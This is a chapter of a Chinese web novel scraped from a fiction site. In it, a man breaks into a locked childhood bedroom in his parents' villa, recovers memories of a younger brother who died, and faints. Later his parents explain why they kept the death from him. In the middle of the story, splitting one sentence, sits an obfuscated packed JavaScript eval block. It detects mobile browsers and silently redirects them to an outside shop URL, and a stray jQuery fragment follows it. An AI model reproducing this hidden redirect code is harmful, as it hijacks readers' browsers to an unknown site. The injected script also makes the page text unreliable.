文趣网 > 其他小说 > 希心予世 > 45. 房间
    车子进入别墅区后那股紧张感再次出现。对于余希来说即使是见自己的父母都不可避免的紧张,因为她父母的所作所为,导致她在所有跟父母年纪差不多的长辈面前都会感到压力。

    职业属性使然,她免不了与长辈的交流,还好在多年的经验下让她不会在当场表现出任何别扭和不适。

    刚进屋时陆权还是淡定从容的模样,直到孙曼文看到了余希。

    孙曼文直接忽略了陆权绕到余希面前:“呀,希希怎么来了!”

    “阿姨好。”余希微笑和孙曼文打招呼,并把礼物递过去,“这是我给您和叔叔带的礼物。”

    “人来就好,带什么礼物哦。”孙曼文生怕余希累到赶紧接过来,她转头就去怪陆权,“你也真是的,希希要来也不提前说一声。”

    陆权往客厅走:“提前说了就不算惊喜了。”

    孙曼文眼睛在两人之间来回看,看着快要琢磨出一些猫腻:“你们两个人一起回来……是不是要宣布什么消息?不然太反常了。”

    余希提心吊胆极了,她还没做过这种欺骗父母的事。

    她有什么想干的直接就说了,并且不达目的不罢休。所以在沈澜和余盛川眼里她是个诚实但叛逆的孩子。

    她这种性格就是让父母又爱又恨,爱在她不会有欺骗行为,恨在她总有自己的想法绝对不会走上他们提前规划好的道路。

    要学表演这件事就很典型。余希提出,沈澜和余盛川反对,于是她绝食三天逼他们妥协了。

    大概是拜他们的偏爱所赐,余希很小就明白一个道理,喜欢的东西是要争过来的。那些东西不会凭白无故地到她手里,如果不争取就只有错过了。

    陆权大概猜出孙曼文的想法,她以为他和余希谈恋爱了,现在回家是在见家长。

    “又不是第一次来我们家了,跟以前一样就好。”陆权在劝孙曼文淡定,也是为了接下来余希能够更从容轻松地相处。

    “你爸还在工作,要不我打个电话把他叫回来。”说完孙曼文就打算去找手机。

    “不了,工作要紧。”家里人少一个算一个,正合陆权的意,“又不是之后不能见了,不急着今天见面。”

    余希接话彻底阻止了孙曼文要叫陆成伟回来的行为:“阿姨,我最近在接触一个花艺师的角色,正好向您请教一下。”

    她看到柜子和桌子上的花,再将话题深入几分:“家里这些花还是阿姨插的吧,风格很鲜明,很好看呢。”

    余希记得小时候每次来这里都会看到不同的插花作品,问了陆权才知道都是孙曼文做的。插花是她的爱好。

    果真一聊到孙曼文感兴趣的她就将喊陆成伟回家这件事抛在了脑后。

    陆权顺势而为:“你们先交流一下吧,我去拿个东西。”

    陆权要去支开阿姨。他特意问了,今天家中就一位阿姨在岗。

    至于门锁,当然专业的事还是交给专业的人去做。

    陆权找到阿姨:“阿姨,你帮我去地下室找一下我小时候的书好吗。”

    阿姨问他:“没问题,要哪一本呢?”

    陆权必须要让阿姨在地下室待得更久一些:“所有,都找出来。我清清拿去送人。”

    还好他的书够多。

    阿姨笑呵呵应下,准备下楼去整理。这位阿姨从小看着陆权长大,几乎把他当亲生孩子一样对待了。

    阿姨刚走两步,门铃响了,她转头对陆权说:“我先去开门再来……”

    陆权抢先到门口,手都搭到把手上了,唯恐阿姨同他争开门这件事:“给我送资料的,我开门,您直接去整理吧。”

    “好嘞,我现在去。”

    等阿姨下楼了陆权才打开门。

    来人是开锁师傅,陆权嘱托师傅轻手轻脚然后给人领上楼了。

    那扇白色的房门从他有记忆起一直紧闭,他们家的别墅是有阁楼的,但他从未上去过。据他观察前往阁楼的楼梯应当在这个房间里。

    “麻烦师傅您动作轻一些。”陆权不想让这里的动静吸引其他人的注意。

    师傅技术很娴熟了,在小心翼翼把控声音的情况下还是很快就开了锁。

    师傅把门推开了一条缝,随后交代了几句迅速离开了。

    透过门缝,陆权大概能看到床的一角。白色的被子上印着小熊的图案,相当童趣,不像他们一家三口中任何一个人会用的。

    到目前为止,他依然没有想起任何事情。

    陆权的手指接触房门轻轻推开,房间的全貌展现在他眼前。

    房间最里面果真有个楼梯,靠着楼梯有一个矮书架,书架上是五颜六色的书籍,书架旁还有玩具柜,玩具整整齐齐摆放在上面。还有张一米五的床,铺着那套小熊花纹的三件套。

    他视线再向左边看去,一张书桌和一个矮柜,矮柜上放着四个相框,但站在门口的角度看不见照片。

    陆权忽然意识到,这是个儿童房。

    他的太阳穴开始发胀。这房间给他相当熟悉的感觉,但他就是想不起来住在这里的人。

    照片!对了,还有照片!他迫不及待奔向那几张照片寻求答案。

    四张照片,其中两张是一个小男孩的单人艺术照,还有两张分别是小时候的陆权和男孩的合影和全家福。

    陆成伟、孙曼文、陆权、小男孩,一家四口的合影。

    他们原来是一家四口。

    与小男孩相处玩耍的画面像走马灯一般进入陆权的大脑,但是这些记忆只持续到了他十岁左右,小男孩约莫也就四五岁的模样。

    那之后他的生活里,应该说他们家里就再没有出现过男孩的身影,所有痕迹都不复存在。

    最后他的脑海里响起嘶声裂肺的喊叫。

    “森森!”

    小男孩消失了,只留下一个小熊玩偶。

    矮柜上有一个一模一样的。

    或者说,眼前的玩偶就是记忆中那个。

    记忆重现的痛苦比预想中还要大得多,天旋地转的眩晕感让陆权有些站不住。他扶着矮柜平复,却一不小心带倒了放在了边上的彩虹叠叠塔,彩虹圈四处散落。

    声响引来了孙曼文和余希。

    “小权!”

    “陆权!”

    “快叫救护车!”

    ……

    陆权晕过去了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923788|213508||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,再次醒来时已经躺在病床上了。

    他抬头,看见余希正在安慰孙曼文,陆成伟也来了,在他的床尾不安地踱步。

    余希第一个注意到陆权醒来,她拍拍孙曼文:“醒了醒了,他醒了。”

    陆成伟立马过来扶着陆权坐起来。陆权对于晕倒并不意外,他现在迫切想知道那个小男孩的一切。

    “爸,妈,到底怎么回事?”陆权质问父母,“我记起来了,森森。”

    现在他的记忆还很零碎,想起来森森是他的弟弟,想起了儿时他们一起玩耍,但他还是不记得森森是怎么离开的。

    提起这个名字,陆成伟和孙曼文眼神都不自觉闪躲。

    他们自知对陆权二十多年的隐瞒是不应该的,但那也是迫不得已。他们已经失去了一个儿子不想再让另一个出现任何问题。

    孙曼文说:“森森,他是你的弟弟……”

    陆森是陆权的亲弟弟,比他小六岁,自闭症。

    现在他二十七岁了。陆权记得他的生日在六月,过了生日就二十八岁了。

    “森森四岁那年,八月份的时候……因为意外去世了。”那些回忆对于陆成伟和孙曼文来说是痛苦的,即使过了二十多年,他们还是不愿意提起太多。

    余希愣住,对上了,所有事情都对上了。当时咬她胳膊的小孩是陆权的弟弟。她努力回想,这件事发生在八月初,而这之后不久陆森就去世了,难怪她没有再见过他。

    她甚至没来得及知道,那是陆权的弟弟。从始至终她都不知道陆权还有个弟弟。

    陆权自己都忘了这个弟弟的存在。

    “我为什么忘记他了?”陆权轻闭双眼,他对陆森去世的细节一概不知。

    孙曼文和陆成伟对视一眼,她犹豫了会儿才解释:“你们兄弟俩感情很要好的,你当时一听到森森的死讯就晕了过去,再醒来的时候就什么都不记得了。”

    陆成伟说:“医生说这是大脑对你的保护措施。森森的去世对我们家来说是无比沉重的打击,既然你都忘记了,我和你妈妈一致决定不再提起,这样对你更好。”

    孙曼文说话带了点哭腔:“森森没了,你就是我们唯一的孩子了……”

    但他这个唯一的孩子在十四岁就出国了,这么多年都没怎么陪伴在父母身边。陆权心中生出愧疚之意。

    “对不起,爸,妈。”

    他没有尽他所能给父母陪伴,也让他们再也不能提起死去的小儿子。他离开了,逃到足够远的地方远离了痛苦根源,而父母被困在了这里。

    陆权看出来陆森的房间维持着生前的模样,仿佛从没有离开过一样。陆成伟和孙曼文还保留着房间证明他们还需要以此怀念陆森,他们不会也不能像陆权那样忘掉一切。

    “是爸妈对不起你。”孙曼文克制地拍了拍陆权的手。

    事实上兄弟俩相处时间不过四年,现在又过了二十多年,对于陆权来说相比悲伤的情绪更多的是对自己有个弟弟的不可置信。

    有种虚幻的不实之感。

    就算陆权从没有忘记过陆森,随着时间流逝那些回忆也会被冲淡,留下的更多是美化过后最珍贵的片段。